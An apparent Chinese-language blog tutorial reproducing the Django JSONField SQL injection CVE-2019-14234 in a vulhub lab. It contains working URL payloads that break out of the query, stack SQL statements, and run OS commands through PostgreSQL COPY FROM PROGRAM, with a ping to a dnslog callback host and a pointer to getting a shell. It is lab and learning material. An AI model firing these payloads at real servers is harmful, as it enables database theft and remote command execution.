您好,登錄后才能下訂單哦!
怎么進行CVE-2019-14234 Django JSONField SQL注入漏洞復現的解析,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
Django是一款廣為流行的開源web框架,由Python編寫,許多網站和app都基于Django開發。
什么是JSONField,Django是一個大而全的Web框架,其支持很多數據庫引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但與Django天生為一對兒的數據庫莫過于Postgresql了,Django官方也建議配合Postgresql一起使用。
相比于Mysql,Postgresql支持的數據類型更加豐富,其對JSON格式數據的支持也讓這個關系型數據庫擁有了NoSQL的一些特點。
該漏洞需要開發者使用了JSONField/HStoreField,且用戶可控queryset查詢時的鍵名,在鍵名的位置注入SQL語句。
Django通常搭配postgresql數據庫,而JSONField是該數據庫的一種數據類型。該漏洞的出現的原因在于Django中JSONField類的實現,Django的model最本質的作用是生成SQL語句,而在Django通過JSONField生成sql語句時,是通過簡單的字符串拼接。
通過JSONField類獲得KeyTransform類并生成sql語句的位置。
其中key_name是可控的字符串,最終生成的語句是WHERE (field->’[key_name]’) =
‘value’,因此可以進行SQL注入。
Django 主開發分支
Django 2.2.x < 2.2.4
Django 2.1.x < 2.1.11
Django 1.11.x < 1.11.23
使用vulhub的docker環境搭建
vulhub下載地址:https://github.com/vulhub/vulhub
cd vulhub/django/CVE-2019-14234/
docker-compose up -d
在瀏覽器訪問http://ip:8000出現一下頁面說明搭建成功
通過對代碼的分析,可以知道如果在你的Django中使用了JSONField并且查詢的“鍵名”可控,就可以進行SQL注入
訪問http://ip:8000/admin
輸入用戶名admin ,密碼a123123123
然后構造URL進行查詢,payload:
http://ip:8000/admin/vuln/collection/?detail__a'b=123
可以看到上圖已經注入成功,并且可以看到構造的SQL語句,繼續構造payload
http://ip:8000/admin/vuln/collection/?detail__title%27)%3d%271%27 or 1%3d1%2d%2d%20
由于or 1=1永為真,因此應該返回所有結果
我們結合CVE-2019-9193我們嘗試進行命令注入,構造url如下
http://192.168.10.195:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20
頁面結果雖然報錯,但是報錯原因是no results to fetch,說明我們的語句已經執行
使用dnslog檢測是否可以執行命令
Dnslog網址:http://dnslog.cn/
Payload:
http://192.168.10.195:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping k1anij.dnslog.cn
'--%20
成功檢測到流量
復現環境里的postgresql數據庫docker沒對外的端口映射,如果開了或者真實環境里,還可以結合msf通過CVE-2019-9193來getshell
0x06修復方式
更新到最新版本
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。